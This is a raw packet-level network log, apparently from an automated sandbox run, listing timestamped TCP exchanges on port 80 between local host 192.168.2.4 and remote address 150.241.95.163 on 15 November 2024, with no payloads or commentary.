Nov 15, 2024 10:28:18.233692884 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:18.233747959 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:18.233778954 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:18.234046936 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.234072924 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.234087944 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.234114885 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:18.234272957 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.234301090 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.234316111 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:18.234325886 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.234368086 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:18.234591007 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.234630108 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.234672070 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:18.234767914 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.234808922 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.234848022 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.234848976 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:18.234873056 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.234899998 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.234913111 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:18.235416889 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.235475063 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:18.235627890 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.235708952 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.235733986 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.235754967 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:18.235856056 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.235894918 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.235899925 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:18.235923052 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.235960960 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:18.250493050 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.250593901 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.250627041 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.250682116 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:18.251075983 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.251108885 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.251142025 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.251178026 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.251211882 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.251230001 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:18.251230001 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:18.251244068 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.251249075 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:18.251949072 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.251981974 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.252015114 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:18.252015114 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:18.252064943 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:28.740860939 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:28.741158962 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:28.741234064 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:28.998183966 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:28.998208046 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:28.998213053 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:28.998399019 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:28.998426914 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:28.998472929 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:28.998503923 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:28.998519897 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:28.998555899 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.127988100 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.128006935 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.128052950 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.128071070 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.128082037 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.128089905 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.128135920 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.128290892 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.128328085 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.128336906 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.128349066 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.128381968 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.128532887 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.128633976 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.128643036 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.128673077 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.128711939 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.128746986 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.129339933 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.129348993 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.129362106 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.129400015 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.251323938 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.251341105 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.251353025 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.251426935 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.251437902 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.251450062 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.251508951 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.251518965 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.251530886 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.251545906 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.251552105 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.251552105 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.251568079 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.251578093 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.251609087 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.251995087 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.252027988 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.252037048 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.252047062 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.252082109 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.252099037 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.252110004 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.252144098 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.252533913 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.252546072 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.252557039 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.252585888 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.252624989 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.252635956 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.252648115 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.252664089 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.252685070 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.253140926 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.253150940 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.253197908 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.253206015 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.253213882 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.253247976 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.253313065 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.253321886 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.253348112 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.375391006 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.375405073 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.375417948 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.375521898 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.375539064 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.375546932 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.375560999 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.375571966 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.375582933 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.375592947 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.375603914 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.375626087 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.375637054 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.375642061 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.375652075 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.375663042 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.375675917 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.375684977 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.375694990 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.375706911 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.375739098 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.375791073 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.375802040 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.375813007 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.375823975 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.375833035 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.375842094 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.375852108 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.375859976 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.375869989 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.375904083 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.376281023 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.376291990 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.376302004 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.376312971 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.376324892 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.376329899 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.376341105 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.376352072 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.376360893 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.376378059 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.376394987 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.376403093 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.376413107 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.376442909 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.376908064 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.376919985 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.376959085 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.377048016 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.377058983 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.377099037 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.498640060 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.498660088 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.498670101 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.498714924 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.498737097 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.498748064 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.498811007 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.498816967 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.498828888 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.498841047 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.498852968 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.498863935 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.498872995 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.498893023 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.499208927 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.499250889 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.499391079 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.499402046 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.499413013 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.499424934 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.499443054 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.499449015 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.499463081 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.499470949 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.499481916 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.499495029 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.499501944 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.499509096 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.499542952 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.500039101 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.500092030 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.500101089 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.500113010 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.500149965 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.500329018 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.500339985 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.500350952 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.500371933 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.500679970 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.500719070 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.500812054 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.500823975 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.500861883 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.500993967 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.501007080 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.501045942 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.501245022 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.501261950 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.501274109 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.501285076 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.501295090 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.501303911 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.501315117 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.501323938 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.501333952 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.501342058 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.501348972 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.501385927 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.622005939 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.622028112 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.622039080 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.622051001 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.622061014 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.622071981 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.622082949 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.622087955 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.622128010 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.622165918 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.622180939 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.622191906 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.622220993 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.622241974 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.622294903 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.622334003 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.622386932 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.622397900 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.622415066 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.622426987 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.622437000 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.622447968 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.622474909 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.622771025 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.622782946 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.622793913 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.622805119 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.622816086 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.622824907 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.622855902 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.623035908 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.623047113 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.623058081 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.623069048 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.623080015 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.623106003 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.623136044 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.623292923 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.623303890 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.623322964 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.623336077 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.623377085 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.623398066 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.623409033 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.623420000 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.623428106 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.623440981 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.623450994 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.623459101 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.623735905 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.623778105 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.623825073 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.623835087 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.623873949 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.624026060 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.624038935 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.624075890 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.624083996 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.624108076 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.624119043 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.624269009 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.676881075 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.745529890 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.745552063 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.745563984 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.745635033 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.745646000 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.745656967 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.745667934 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.745711088 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.745721102 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.745732069 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.745743036 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.745754004 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.745763063 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.745798111 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.745798111 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.745979071 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.746007919 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.746018887 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.746042967 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.746053934 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.746064901 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.746097088 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.746145964 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.746157885 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.746169090 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.746179104 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.746192932 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.746198893 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.746210098 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.746223927 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.746228933 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.746238947 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.746249914 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.746269941 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.746676922 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.746721983 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.746731043 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.746742010 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.746778011 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.746833086 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.746845961 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:29.746893883 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:29.746948957 CET	80	49736	150.241.95.163	192.168.2.4
